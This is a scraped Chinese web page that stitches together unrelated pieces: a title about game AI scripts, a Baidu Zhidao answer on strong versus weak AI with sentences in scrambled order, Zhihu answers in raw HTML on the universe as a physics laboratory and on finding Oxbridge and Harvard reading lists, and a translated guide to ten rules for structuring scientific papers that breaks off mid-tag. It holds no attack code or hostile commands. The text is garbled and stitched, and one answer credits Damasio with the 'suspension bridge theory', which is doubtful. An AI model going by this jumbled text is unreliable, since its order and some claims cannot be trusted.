哪些玩家自制单机游戏戏有强大的AI脚本供玩家扩展

现在有哪些游戏人类是打不过AI的_百度知道
现在有哪些游戏人类是打不过AI的
我有更好的答案
那之前AlphaGo和李世石下围棋算不算打游戏。也就是说它可以越打越强。但这属于弱人工智能的范畴。我先说,一定能赢过人类。首先我先解释一下,它可以通过计算机精密计算,打赢围棋国手李世石。但你觉得它会炒菜吗?能哄孩子吗?我不是找茬,我就是想说对于弱人工智能。不要纠结,因为你脑子再快,在“专精”方面能快过计算机?手速再快。它可以通过与对手的不断交锋?当然算,它的CPU不是在简单运作关于“围棋操作”的而已,或许在某一点强过人类,但是它只是“专精”,而不像人类一样“全面”。如果说电影里那种起来造反的,有自我意识并无限生产的,那叫强人工智能。再说为啥人工智能在专精方面可以完爆人类。还得说AlphaGo,或许它会输过,但进步幅度远超人类。最终的赢家还是它,为什么比人类强还叫其“弱人工智能”。你说打游戏,来进行格局优化。那AlphaGo来说,你让它下围棋人工智能分两种,首先是强人工智能与弱人工智能
为您推荐:
其他类似问题
您可能关注的内容
换一换
回答问题,赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。&p&&b&宇宙是性价比高到爆炸的物理实验室。&/b&&/p&&p&甚至一定程度上可以说,&b&是头顶上这片夜空,点燃并引领了人类的科技爆炸。&/b&&/p&&p&罗列几个显而易见的事实:&/p&&p&1、物理学理论研究超乎常理的&b&甩开实验若干个时代&/b&。对比化学、医学、生物学等等自然学科,实验是与理论并行,甚至是实验引领理论的。自牛顿时代,将伽利略的天体规律和地面上的力学规律联系到一起开始,理论物理就一骑绝尘,远远的超前于实验开始了开挂式的发展。&/p&&p&2、&b&宇宙更极端,但更简单&/b&。这完美的契合了科学研究的需要——科学实验需要参数尽可能少,以便让逻辑关系更加清晰;但是数值范围需要尽可能大,以便发现更深层次的规律。无论是恒星的一生还是宇宙射线的碰撞,天文现象异常的单纯,单纯到我们可以简单的远观就推演出太阳的一生、她的结构组成。对比而言,我们解剖了无数种动物、用显微镜用质谱仪等等手段进行观测,仍然很难很好的预知生命的行为,因为生物的各种内禀外在相关因子实在太复杂了。&/p&&p&回头看,&b&当我们把头顶的宇宙和身边的规律割裂开的年代,是宗教和神化的世界&/b&。人类第一次用数学精确的描绘自然,是行星的绕转。这是因素因为地面上的规律受到太多因素的影响,从复杂的背景中剥析出简单的规则,或许需要上千年。又或许早在此之前,就被认为此路不通,从羊皮纸上揣摩神的旨意才是正道。&/p&&p&3、&b&宇宙有着近乎完美的科组划分&/b&。当我们对力学懵懵懂懂的时候,七颗仅仅受到万有引力,完美依照牛顿定律运行的天体在空中起舞,量子力学和相对论深深的隐居幕后。当我们开始思索时间和空间的时候,水星拍拍手:你们别吵了,爱因斯坦说得对。当我们对核反应略有所觉得时候,太阳立场明确的嘿嘿一笑:哎呦,不错哦。当我们始终找不到核反应中丢失的那一份质量的时候,中微子探测器找到了来自遥远深空的踪迹。当我们似乎接近这个宇宙更深层的规律的时候,黑洞、引力波、悉数登场。&/p&&p&从经典力学到高能物理到更深层次的物质规律,这个实验室里,哪台设备都不是人类买得起的,而我们却有机会旁观它的运转,实在是很值得庆幸和珍惜的事情。这个实验室的存在,让物理学始终走在了人类技术等级的前面。&/p&&p&可以说,前沿物理已经成了人类文明的一位领航员,他远远走在前面,远到我们甚至很难感觉到他对人类文明的推动,远到对于绝大多数人来说几乎是空中楼阁。没错,这位领航员没有能力把人类文明直接带到恒星际时代,但是他把我们的视线带到了那么远。&b&在一片完全未知的迷雾里,前沿物理趟出一条清晰的路线&/b&。我们不知道这是不是唯一正确的路,但是至少我们知道哪里有路、路上有什么。这在一个处处悬崖陷阱,一不小心就团灭的地球OL里,简直是开了作弊器。&/p&&p&一个一无所知的孩童,没有人教他下围棋。幸运的是,有一位大国手带着他让他日夜观棋。诚然,大国手高深莫测,这个孩子能看懂的十不足一。或许,这孩子永远达不到国手的高度……但也仅仅是或许吧。&/p&&p&所以,我觉得大可不必忧虑宇宙的研究离我们太遥远,它带去的&b&是我们的视野,而不是双脚。&/b&&/p&
宇宙是性价比高到爆炸的物理实验室。甚至一定程度上可以说,是头顶上这片夜空,点燃并引领了人类的科技爆炸。罗列几个显而易见的事实:1、物理学理论研究超乎常理的甩开实验若干个时代。对比化学、医学、生物学等等自然学科,实验是与理论并行,甚至是实验…
&p&让开让开,这道题我一定要答,和楼上所有推荐看具体书目的都不一样,这是一篇方法论的总结。&/p&&p&&b&授人以鱼不如授人以渔!!!&/b&&/p&&p&&br&&/p&&p&这篇文章教你如何充分利用牛剑常春藤等名校资源,去获得阅读指导,也是对自己的阅读的一个反思和未来阅读的指导。即使没有过人的天才,找到合适的方法,在正确的道路上也能走得更远一些。&/p&&p&&br&&/p&&p&至于这些书的资源,大部分是英文,部分也有中文翻译。书的资源还在搜集当中,整理好了会陆续在我的个人公众号后台发布的,而按学科划分的阅读书单,也会在后续陆续更新。&/p&&p&&br&&/p&&p&&b&Part 1&/b& &/p&&p&&b&不知道读什么书?这里有从剑桥,哈佛的官方推荐专业读书目录&/b&&/p&&p&三年前,我处于人生的一种低谷状态的时候,第一次想要求助于心理学,自己瞎找的情况下购买了被媒体吵得很火的《遇见更好的自己》。看完之后,更郁闷了,慢慢的槽点无从下口。这是一本完全是外行人写的不伦不类的二手甚至三手信息,里面充斥了大量的心灵鸡汤,以及没有完整的学科知识支撑的作者臆想。而这样的书籍,在对心理学没有基本的科学认识的时候,是很容易没误导的,读了书浪费时间还好,如果读歪了,走上所谓的心灵灵修的道路,那真的是得不偿失了。&/p&&p&&br&&/p&&p&现在看来,如果我对心理学有基本的兴趣,并且认为自己有阅读的必要,以帮助我实现更好的自我认识和成长,那么我会去读比如:&/p&&p&&br&&/p&&p&Damasio, A. (2010). Self comes to mind: constructing the conscious brain. (Vintage Books).&/p&&p&&br&&/p&&p&这本书是剑桥大学的心理和行为学专业推荐给本科入学新生的读物。官网上也说了,对于新被录取的学生,并不需要他们提前具备相关专业方面的各种知识来读这些书。也就是说,这些书单,对于没有阅读基础的你我来说,应该是不构成专业上的阅读障碍的。而这本书京东上就有原版英语的出售。&/p&&p&&br&&/p&&p&&b&从各大名校挂出来的给本科生的阅读清单入手,用这种方法去获得认知一个学科的基础,构建知识体系,应该是最安全便捷的途径了。&/b&与其被网络上各种卖成功学和畅销鸡汤的书单坑,不如直接去各大名校官网去搜好了。名校给本科生开的书单,既保证了科学性和严谨性,并且还不要求学科基础。&/p&&p&下面列出几个主要名校的reading list 的链接,今天只是把几个重点的书单网址贴出来,大家可以自己去搜,不需要翻墙。书单的整理,我自己会慢慢整理,在公众号上推送。&/p&&p&&b&1. King’s college(剑桥大学国王学院)推荐阅读书单:&/b&&/p&&p&&a href=&//link.zhihu.com/?target=http%3A//www.kings.cam.ac.uk/study/undergraduate/offerholders/reading-lists/index.html& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://www.&/span&&span class=&visible&&kings.cam.ac.uk/study/u&/span&&span class=&invisible&&ndergraduate/offerholders/reading-lists/index.html&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&&br&&/p&&p&&b&2. Downing college Combridge 的阅读推荐&/b&&/p&&p&不仅有按学科的本科新生阅读书,还有培养计划呢,可以看看剑桥的本科培养大概是什么样子的,比如,我还在他们的哲学院系下找到了一份官方的写作训练资料,是为了培养本科生的学术写作能力用的,真的很棒啊。&/p&&p&&a href=&//link.zhihu.com/?target=http%3A//www.dow.cam.ac.uk/join-downing/information-new-students/undergraduates-reading-lists& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://www.&/span&&span class=&visible&&dow.cam.ac.uk/join-down&/span&&span class=&invisible&&ing/information-new-students/undergraduates-reading-lists&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&&br&&/p&&p&&b&3. Wolfson College(学科基本和国王学院重合)&/b&&/p&&p&&a href=&//link.zhihu.com/?target=https%3A//www.wolfson.cam.ac.uk/applying/undergraduate/offerholders/reading& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://www.&/span&&span class=&visible&&wolfson.cam.ac.uk/apply&/span&&span class=&invisible&&ing/undergraduate/offerholders/reading&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&&br&&/p&&p&&b&4. 牛津大学的各个学科reading list&/b&&/p&&p&&a href=&//link.zhihu.com/?target=http%3A//www.oxbridgeapplications.com/resources_category/reading-lists/%3Fgclid%3DCPbQupzFzNYCFdgnvQodlZcAIQ& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://www.&/span&&span class=&visible&&oxbridgeapplications.com&/span&&span class=&invisible&&/resources_category/reading-lists/?gclid=CPbQupzFzNYCFdgnvQodlZcAIQ&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&figure&&img src=&https://pic3.zhimg.com/v2-bd2cb6acecb19e411552_b.jpg& data-caption=&& data-rawwidth=&316& data-rawheight=&392& class=&content_image& width=&316&&&/figure&&p&(这张截图放的是数学这门学科的reading list的推荐,点开进去要简单注册一下…)&/p&&p&&b&5. 哈佛最新放出来的夏季假期阅读清单&/b&,什么学科的都有,真的是,很长…..&/p&&p&&a href=&//link.zhihu.com/?target=https%3A//sites.fas.harvard.edu/%7Esica/reading.htm& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&sites.fas.harvard.edu/~&/span&&span class=&invisible&&sica/reading.htm&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&还有一个JULY版本的阅读推荐,发现这些学校的图书馆的官网还会定期发布阅读推荐,也是一个寻找阅读信息的好的地方啊。&a href=&//link.zhihu.com/?target=https%3A//gsas.harvard.edu/news/colloquy/summer-2017/reading-list-july-2017& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&gsas.harvard.edu/news/c&/span&&span class=&invisible&&olloquy/summer-2017/reading-list-july-2017&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&&br&&/p&&p&&b&总结:&/b&&/p&&p&以reading list+university为关键字去google上搜索,便能轻易获得这些书籍阅读推荐的链接。如果再加上“library+大学名称” 便可以获得名校图书馆的书籍目录和阅读推荐更新。像我的学校邮箱就会定期收到学校图书馆发布的最新书籍目录,是很好的阅读资料。&/p&&p&&br&&/p&&p&&b&Part 2.&/b&&/p&&p&&b&中文阅读,搜索学术大牛的非学术类书籍,绕过英语阅读障碍&/b&&/p&&p&&br&&/p&&p&鉴于part 1里面推荐的内容都是英文阅读,对大部分人来说还是有一定障碍的,那么还有一个方法,就是搜索经典教材的作者的相关非学术类著作,就可以获得高质量的阅读啦。&/p&&p&&br&&/p&&p&还是以上面Part 1提到的剑桥推荐的那本行为心理学的推荐阅读教材为例子,去搜作者Antonio Damasio(安东尼奥o达马西奥),会发现他是一位神经和行为学上的超级大牛,著名的“吊桥理论”就是他提出来的。搜他的英文名字在京东上会发现一系列他的著作,当然,即使是中文的书籍也有不少,比如《笛卡尔的错误》,《悲伤和感受着的脑》,优酷上还可以搜到他的演讲视频。&/p&&figure&&img src=&https://pic4.zhimg.com/v2-55bfe8df238cc902f57a625ad82e369b_b.jpg& data-caption=&& data-rawwidth=&255& data-rawheight=&341& class=&content_image& width=&255&&&/figure&&p&&br&&/p&&p&这样的搜索并不会花去太多的时间,尤其是和浪费在读烂书的时间相比,这点信息的搜索,可以帮你排除大量的嘈杂的信息杂音。&/p&&p&&br&&/p&&p&还有,对于在校学生来说,学校的数据库是最好的一个资源了,通过搜索阅读综述类的学术文章,可以迅速知道这个领域的研究课题思路以及最新的发展方向。利用好这些资源,养成了高质量的阅读习惯和品位,以后面对市面上五花八门的书籍,自然就能从容分辨出了。&/p&&p&&br&&/p&&p&&b&Part 3.&/b&&/p&&p&&b&当牛津为了人类科普操碎了心,就有了这套此生不读会后悔的书&/b&&/p&&p&这里要给大家安利一套超级神奇的书,属于你不读此生会后悔,而我不安利会不心安系列那种 ——《牛津通识读本系列》(Very Short Introduction series,后面简称VSI 系列)。&/p&&figure&&img src=&https://pic2.zhimg.com/v2-e4c884ddc7efd2a223273d_b.jpg& data-caption=&& data-rawwidth=&469& data-rawheight=&232& class=&origin_image zh-lightbox-thumb& width=&469& data-original=&https://pic2.zhimg.com/v2-e4c884ddc7efd2a223273d_r.jpg&&&/figure&&p&&br&&/p&&p&这一套书的每一本都对一个特定的主题内容进行简洁而精炼的介绍,几乎所有读本都是由该领域公认的大牛们来写的,深入浅出,覆盖全面,而且每一本真的真的非常非常short!就像上图那样!大概就是A5小册子那样的纸张100页左右的吧,并且每本书后面都给了长长的深度阅读的建议!&/p&&p&这就相当于,全世界每个领域的顶尖大牛,给你做了每个领域的大纲梳理,用他们研究探索了几十年的积累和沉淀,把最精华的内容的框架梳理出来,然后再写成简单的文字,给大家科普。&/p&&p&到2014年9月的时候,该系列已经出版书目达401本,并且给每一本书记都编号了,内容包括:历史,神学,科学哲学,经济学,后现代主义,情绪,莎士比亚,休谟,西班牙内战,计算机科学等等。官方的宣言是:这套书籍基本涵盖了从计算机科学到社会科学到自然科学的所有的主要学科,为所有读者提供一个可读性强且包罗万千的工具图书馆。官网最新还持续有新书发布出来,比如最新的《天主教》:&/p&&figure&&img src=&https://pic2.zhimg.com/v2-ae9d2e9d1ac38b9ed2e7d84d81cdfe7d_b.jpg& data-caption=&& data-rawwidth=&194& data-rawheight=&311& class=&content_image& width=&194&&&/figure&&p&&br&&/p&&p&这里的每一本书都可以作为一个学科入门了解的纲领性阅读资料,都是学科大牛的精心之作,比市面上任何的三四手阅读资料都要好上许多。亚马逊就有中文版的卖,当然有些系列还没有翻译出来,感兴趣的可以找资源阅读第一手英文的。不过官方网站要翻墙,尴尬...链接就不放了...&/p&&p&阅读是一项很艰难的活动,尤其是阅读专业书籍,更遑论用英语阅读了。高质量的阅读是需要大量的时间精力去磨练的,但是年轻的时候能够培养出这些阅读能力和信息搜集能力,甚至是独立思考的能力,是受益终生的事情。至少,等老了的时候,不会被朋友圈的不转不是中国人的劣质信息欺骗。&/p&&p&更重要的是,相比较于推荐某些具体的书籍,这个方法可以让你一直和经典以及前沿的学科知识保持更新和同步,现在的书单商业软文多如牛毛,很难分辨,不如跟着学校走,远比鸡汤书单文来得好。&/p&&p&&br&&/p&&p&该文章发表在个人微信公众号&i&ladyyangdabao&/i&(学姐大宝鉴)上,链接:&/p&&p&&a href=&//link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s%3F__biz%3DMzI0NzU1MjcxNg%3D%3D%26tempkey%3DOTI4XzdLbmRScWVxaVI3RnIydGItRkc3SHZjdUhKb2gtNm42ODd3ZnFuOHdvRXlHS3gwSF9YdEh3ZjRBWVp5bjFFXzRVZTNUUmJnOEJ3cFRwQXRQODFUNjNTWU9EdWFmNzBVbENQTHRiZkgtcTdOeUszYlJFWXFTYzg2REc2MVF0cnF1SHFBbnpYbHlFQmFubWRvb3NEaDVpd2VzOTJYSW11RDFrMTR2ZVF%252Bfg%253D%253D%26chksm%3D69af0c1f5edebfe7c70c523d0c9e4bab16fec053afb3d261db1486d%23rd& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&这应该是最值得读的书的目录整理文章,来自牛津剑桥和哈佛的书单&i class=&icon-external&&&/i&&/a&&/p&
让开让开,这道题我一定要答,和楼上所有推荐看具体书目的都不一样,这是一篇方法论的总结。授人以鱼不如授人以渔!!! 这篇文章教你如何充分利用牛剑常春藤等名校资源,去获得阅读指导,也是对自己的阅读的一个反思和未来阅读的指导。即使没有过人的天才…
&figure&&img src=&https://pic1.zhimg.com/v2-ba8a901b5de_b.jpg& data-rawwidth=&1600& data-rawheight=&1200& class=&origin_image zh-lightbox-thumb& width=&1600& data-original=&https://pic1.zhimg.com/v2-ba8a901b5de_r.jpg&&&/figure&&p&&/p&&blockquote&良好的学术写作习惯对于职业发展和学术进步非常重要。一篇结构清晰的文章可以让读者和审阅者被文中叙述的内容打动,进而试图理解和确认研究主张的观点,并将这些贡献传递到更广范围。然而,很多科学研究者难以写出高质量的文本——他们通常没有论文写作训练的经历。关于如何让读者被你的论文吸引,PLOS Computational Biology 的这篇文章向我们提出了十大原则,试图点出论文写作最需要注意的问题。遵循这些写作原则可以让你的论文更具吸引力,同时提高写作效率。&/blockquote&&p&&br&&/p&&h2&&b&介绍&/b&&/h2&&p&写作和阅读论文是科学家必备的核心技能。成功发表的论文通常作为科学家及其未来成就的衡量标准。一篇论文从写作到发表,涉及多方因素,且有各自的动机和优先权。编辑要确定论文是有意义的;评论要审查论文结果是否证明了结论;读者需要快速抓取论文的核心理念以决定是否详细了解;作者想要传达其核心观点,并向专家证明其发现是可行的。你可以从语句、段落、章节、全文等多方面做好论文的结构,从而更好地满足以上各方需求。&/p&&p&清晰的交流同样关键,因为「概念迁移」在科学的交叉授粉过程中是受限的一步,在生物科学及其他领域更是如此。由于科学分工越发细化,加强概念连接也就变得越发重要(和困难)。跨学科领域的交流只有在论文质量有保证的前提下才奏效。&/p&&p&要证明论文价值性和可靠性,需要数据和逻辑的支持。如果不认真规划论文逻辑,作者经常会缺失数据,或者在获取结论的过程中出现逻辑错误。尽管这些论文超出了我们的范围,其中逻辑必须极其清晰,才能有力地证明论文结论。&/p&&p&以下是优化论文结构的十条简单规则。前四条规则适用于论文的所有部分,以及其他沟通形式,比如许可和海报。中间四条规则有关论文主要部分各自的主要目标。最后两条规则为有效构建论文原稿提供了过程启发式的指导。&/p&&p&&br&&/p&&h2&&b&原则(规则 1–4)&/b&&/h2&&p&写作即交流。因此,读者体验是首等重要的,所有的写作服务于这一目标。当你写作时,心中要时时有读者。以下四条规则是关于如何赢取读者。&/p&&p&&br&&/p&&h2&&b&规则 1:论文有一个中心主旨,并体现在标题中&/b&&/h2&&p&如果读者一年之后还在向其同僚讲起你的论文主旨,这篇论文就是成功的。尽管论文在抵达最后的主旨之前通常要经过一些创新步骤,但要有所侧重。论文要聚焦在一个主旨上,同时关注多个方面会降低论文的说服力和传播性。&/p&&p&一篇论文的最重要元素是标题,你所读的标题的数量要远大于论文。标题首先映入读者眼帘,其质量好坏决定了读者是否会进一步阅读论文摘要。&/p&&p&标题不仅传达论文的中心主旨,也提醒你聚焦在传达这一主旨的文本上。科学毕竟是复杂数据中简单原则的抽象,而标题是对一篇论文的最后抽象。提前并定期地思考标题不仅有助于论文的写作,也有利于推进实验设计或者理论拓展。&/p&&p&第一条规则最难执行,因为它直面科学的核心挑战,即在有数据和逻辑支持的前提下使主旨和/或模型最为简单。最后,寻求平衡的斗争可能会导致一个多方面的贡献。比如,一篇技术论文也许同时描述了新技术及其生物结果,统一这两方面的桥梁是清晰地描述新技术如何用于新的生物学。&/p&&p&&br&&/p&&h2&&b&规则 2:假设写作对象对论文内容一无所知&/b&&/h2&&p&由于你是某领域的世界一流专家,你需要通过论文发表的形式来接受小白读者的验证。绝大多数写作错误来自这一困境。论文作者需要设计安排所有的元素,决定对读者产生何种影响,进而努力达成这一目标。因此要从小白读者的角度去思考和写作论文。&/p&&p&由于读者在面对不理解的字词时会变的灰心丧气,清晰界定技术术语很有必要。不要使用缩写和首字母缩略,以免读者返回之前章节查看其含义。&/p&&p&懂得人类心理学的广泛知识有助于论文写作。比如,人类的记忆机制只能记住少量的术语,相比中间更容易记住开头和结尾。因此任何时候都要减少读者需要牢记的论文次要部分的数量。&/p&&p&&br&&/p&&h2&&b&规则 3:坚持原因、内容和结论(Context-Content-Conclusion/C-C-C)结构&/b&&/h2&&p&绝大多数流行的(即令人难忘的)故事都具有起承转合的结构。从起头设置故事背景,在中间发展故事,导向结局——发现的问题找到了结论。这种结构减少了读者问「为什么你要这样说?」(缺少原因)或「所以呢?」(缺少结论)的机会。&/p&&p&讲故事有很多种方法,大多数时候,其中的差异在于读者的耐心与否。缺乏耐心的读者需要快速浏览核心内容,所以你可以把最重要的内容放在前面(就像新闻报道那样)。而 C-C-C 结构则是为那些有耐心,愿意花上时间理解深层次意义的读者准备的。这种结构的缺点在于无法吸引没有耐心的读者。不过,这个问题已经由目前论文的标题和摘要所缓解了。因此,看完介绍的读者很可能受到吸引从而开始阅读后面的正文。此外,「内容第一」的文章结构在科学范畴中可能会让读者催生出「作者主张的东西缺乏原因」,从而让文章变得缺乏可信度,所以我们主张将 C-C-C 结构作为科学文献的默认写作方式。&/p&&p&C-C-C 结构在多个尺度上定义了论文的结构。对于整篇论文来说,介绍段落设定了背景,实验结果是内容,而讨论章节带来了结论。在段落尺度上,C-C-C 结构则意味着首句定义主题或原因,中间几句话提出新的观点以供读者思考,最后的几句话得出结论。&/p&&p&偏离 C-C-C 结构的论文往往难以阅读,但是作者经常会因为自传性质的倾向而这么做。在科研生涯里,我们总是把最多的时间花费在生产内容上,而忽略了其他工作。我们进行实验,发展现有成果,并使用人类认知的能力来整合不同思想。想要将这一切按照时间顺序写进论文里是很自然的倾向。但对于读者来说,我们活动的大部分细节都是无关紧要的——读者不会关心达成结果之前的时间线,他们只关心论文最终的主张和支持它的逻辑。所以,我们所有的工作都必须重新格式化,这样才能让内容变得有意义,结论能被人理解和记住。&/p&&p&&br&&/p&&h2&&b&规则 4:避免委婉,使用并行优化的逻辑流&/b&&/h2&&p&避免委婉:只有论文的中心思想才需要被多次提及。此外,每个主题只需要覆盖它自己的章节,从而减少主题变化的次数。相关的语句或段落应该围绕主题,而不是被无关的内容所侵占。思想也是这样,比如基于两个原因我们认为 xxx,两段叙述之间不要出现其他内容。&/p&&p&使用并行方法:与之相同的是,对于段落和句子,并行的信息需要用并行的方式来表达。并行主义可以让人们阅读文章更加轻松。例如,如果我们对于某种解释优于其他解释有三个独立的理由,我们应该用相同的语法来传递这些信息,这样可以让读者更加专注于理论。在句子或段落中多次使用相同的单词是没有问题的。请抑制自己使用不同单词阐述相同概念的欲望——这只会让读者思考其中的意义是否有所不同。&/p&&p&&br&&/p&&h2&&b&论文组成(规则 5-8)&/b&&/h2&&p&论文的摘要、介绍、结果与讨论都适用于 C-C-C 结构,但各有些许不同。在下图中,我们将讨论这些专门结构的问题:&/p&&figure&&img src=&https://pic2.zhimg.com/v2-d32edda5fd6_b.jpg& data-caption=&& data-rawwidth=&640& data-rawheight=&967& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&https://pic2.zhimg.com/v2-d32edda5fd6_r.jpg&&&/figure&&p&&i&图 1. 论文三个重要部分的结构总结。Note:摘要是其中最特别的,它包含所有三个要素(原因、内容和结论),所以包含了所有三种颜色。&/i&&/p&&p&&br&&/p&&h2&&b&规则 5:在摘要中总结所有要点&/b&&/h2&&p&摘要是大多数读者唯一会读的部分,这意味着摘要必须有效地表达论文的完整信息。因此,摘要的结构是高度保守的。以下详细介绍了每一个 C-C-C 要素的细节。&/p&&p&必须在背景介绍中让读者明白这篇论文要解决什么问题。第一句先介绍具体研究所属的更宽泛的领域为读者做一个思维定位,然后将背景逐渐缩小,直到研究者提出的开放性问题为止。成功的背景介绍能通过讨论文献中的缺失部分(即具体的问题)以及问题的重要性(即具体的问题和论文相关的宽泛领域之间的关系),为区分论文贡献和当前最佳打好基础。&/p&&p&最后,结论中将解释论文的结果,以回答背景介绍部分结尾提出的问题。通常在结论部分中还会有第二部分用于强调该结论如何推动宽泛领域的发展(即「重大意义」),尤其是在拥有广泛读者群体的更流行的杂志中。&/p&&p&这样的结构能使你避免摘要中最常出现的错误,即在读者开始理解之前就讨论结果。好的摘要通常需要多次精炼以确保结果能精准对应解决的问题,犹如钥匙能精准匹配其锁头。宽泛—狭窄—宽泛的结构能使你的读者群体更加广泛,同时保证你的观点的可信度(通常基于结果中有限的一部分)。&/p&&p&&br&&/p&&h2&&b&规则 6:在介绍中讨论这篇论文的重要性&/b&&/h2&&p&介绍中需要强调在目前的知识或方法中出现的问题,以及这个问题的重要性。通常会使用多个逐渐具体化描述的段落并在最后清晰地指出文献中的缺失,然后再用一个段落总结这篇论文会如何解决这个问题。&/p&&p&第一段可以解释为什么细胞分化是一个很重要的议题,而且在该领域中,其本质原因尚未被了解(领域问题)。第二段可以解释一个具体的细胞类型中对分化的未知部分,比如星形细胞(子领域问题)。第三段可以提供一些线索,即一种特定基因可能用于驱动星形细胞的分化,然后说明这个假设尚未被测试过(你将要解决的子领域问题)。对问题的描述会使读者期待论文将给出的结果。&/p&&p&介绍中的每一个段落(除了最后一段)的结构都服务于加大差距这一 目标。每一段首先将读者定位到论文的主题(一到两个语境句),然后,在介绍论文中所针对的相关领域的关键的「未知」(结论)问题之前,先解释相关文献中的「已知」内容。在过程中需要不断给出问题背后的疑问的线索,这些线索将逐渐带领读者到达论文中未证实的假设或未被开发过的方法,并说服读者这个问题是可以解决的。在介绍中不该有超出论文目标的宽泛文献综述。这种集中于问题的结构能使有经验的读者更好的评估论文的潜在重要性,因为他们只需要关注所讨论的问题的重要性。&/p&&p&介绍的最后一段比较特别:概括地总结解决你刚提出问题的结果。它和摘要的不同点在于:不需要描述背景(已经在前面给出),对结果的描述更加具体,简单地预观论文的结果(如果需要的话)。&/p&&p&&br&&/p&&h2&&b&规则 7:用多个逻辑相关的陈述句(可辅以图表)给出支持论文中心思想的结果&/b&&/h2&&p&结果部分需要使读者相信你的数据和逻辑能够支持核心观点。每一个科学论证都有其独特的逻辑结构,决定了论据的呈现方式。例如,一篇论文提出一个假设,检验某种度量方法在研究的系统中有效,然后使用这种度量方法证明假设是错误的。或者,一篇论文中可以提出多个假设(互相排斥),然后通过证据逐渐证伪,直到有一个假设被证实。论述需要包括服务于整体逻辑的约束和方法。&/p&&p&在论文准备的大纲阶段(详见规则 9),概述论文结果支持观点的逻辑结构,并将其转换为一系列陈述句,这些句子可以作为「results」部分的子标题(或图的标题)。大多数期刊都允许这种格式,不过即使你选择的期刊不允许,这些标题在写论文的时候也很有帮助,可以作为段落的开头介绍,或者在提交之前删除。这种清晰的逻辑结构使读者更加容易跟上论文的思路。&/p&&p&图、图的标题和图注非常重要,因为它们展示了对论文论点最客观的支持数据。此外,为节省时间直接略过摘要的读者往往会选择看图。因此,图的标题应该传达分析结论,图注应该解释结论如何得出。制图本身也是一门艺术。Edward Tufte 的书介绍了学习这门技艺的黄金法则。&/p&&p&「results」部分的第一段比较特殊,因为它通常概括解决引言所述问题的所有方法,以及论文提出的重要创新方法。大部分读者不读「methods」部分,因此这一段可以使读者大致了解论文使用的方法。&/p&&p&「results」章节后续的每一段都先以一两句介绍这一段要解答的问题,比如「我们的度量的再测信度怎样?」(What is the test-retest reliability of our measure?),或者「我们接下来将测试……」。段落的中间部分展示问题涉及的数据和逻辑,然后以问题答案结尾。这样的段落结构可以让有经验的读者对论文进行事实核查。每一段的最后一句是总结句,这样很方便就可以找出哪一个结论值得质疑,以及检查每一段的逻辑。每段的结果都是一个逻辑陈述,后续的段落依赖于前面段落的逻辑结论,就像数学文献中的定理一样。&/p&&p&&br&&/p&&h2&&b&规则 8:讨论如何填补差距、论文的局限性和论文与该领域的相关性&/b&&/h2&&p&讨论部分解释研究结果如何填补引言所述的差距,介绍研究的局限性和该研究对该领域的作用。这通常需要简单地重述研究结果,讨论局限性,然后介绍该研究对领域未来发展的核心贡献。讨论部分的第一段比较特殊,因为它通常概括了「results」章节的重要成果。一些读者会跳过结果部分,那么这一段至少可以让他们大概了解研究结果。&/p&&p&讨论部分后面的段落首先描述该论文的优缺点,然后通过与相关文献对比来评估该论文的优缺点。讨论部分通常会用一种聪明、非正式的方式谈论该论文的贡献,或者该贡献未来可以扩展的方向。&/p&&p&例如,第一段总结研究结果。二到四段介绍缺点,以及未来研究如何处理这些缺点。第五段介绍该论文如何推动领域发展。这样一步步地让读者在恰当的语境中理解论文结论。&/p&&p&&br&&/p&&h2&&b&写作流程(规则 9 和 10)&/b&&/h2&&p&为了写出一篇好论文,作者可以妥善安排写作流程,养成好的写作习惯。论文不同内容的影响力各有不同,因此你应该根据其重要程度合理安排投入的时间。此外,接受来自同事、同学的反馈也可以帮助作者修改论文。选择正确的写作流程可以让写论文变得事半功倍。&/p&&p&&br&&/p&&h2&&b&规则 9:把时间花费到关键的地方:题目、摘要、图和大纲&/b&&/h2&&p&科技文章的核心逻辑非常重要。它也是论文研究实验阶段和论文写作阶段的连接桥梁。因此,将正在进行的实验(比如在实验室会议上)转化为比较正式的文档,这在一定程度上可以帮助构建论文大纲。&/p&&p&你还应该按照各章节的重要程度分配时间。看题目、摘要、图的读者远远多于查看论文其他内容的读者,「methods」部分是阅读者最少的章节。所以,根据重要程度合理分配时间。&/p&&p&我们可以在写作之前先进行规划,从而高效利用各章节所花费的时间。写一个大纲。我们喜欢为每一个计划要写的段落写一句不太正式的句子。这通常有利于开始进行该段落的写作,而这些句子有可能成为节标题(section header)。文章有一个整体架构,因此每一段都应该担任推进文章的特定角色。这个角色最好在大纲阶段就进行详细检查和确认,减少在不适合文章的段落上浪费的时间。&/p&&p&&br&&/p&&h2&&b&规则 10:获取反馈,然后简化、重新使用、再次构造这个故事&/b&&/h2&&p&我们可以把写作看作一个优化问题,你需要同时优化故事、大纲和所有句子。因此,不过分依赖自己原本的写作内容非常重要。在很多情况下,删去整段文字和重写是比在原有的内容上进行编辑更快速的输出优质内容的方式。&/p&&p&有很多信号提醒大家必须修改论文手稿(见表 1)。例如,如果你无法在几分钟内向同事描述论文的大纲,那么很明显读者也无法理清大纲。你必须进一步精炼论文内容。找到这些与优秀写作违背之处并进行改正可以帮助你全面提高文章质量。&/p&&figure&&img src=&https://pic1.zhimg.com/v2-debfbbebef7a_b.jpg& data-caption=&& data-rawwidth=&640& data-rawheight=&356& 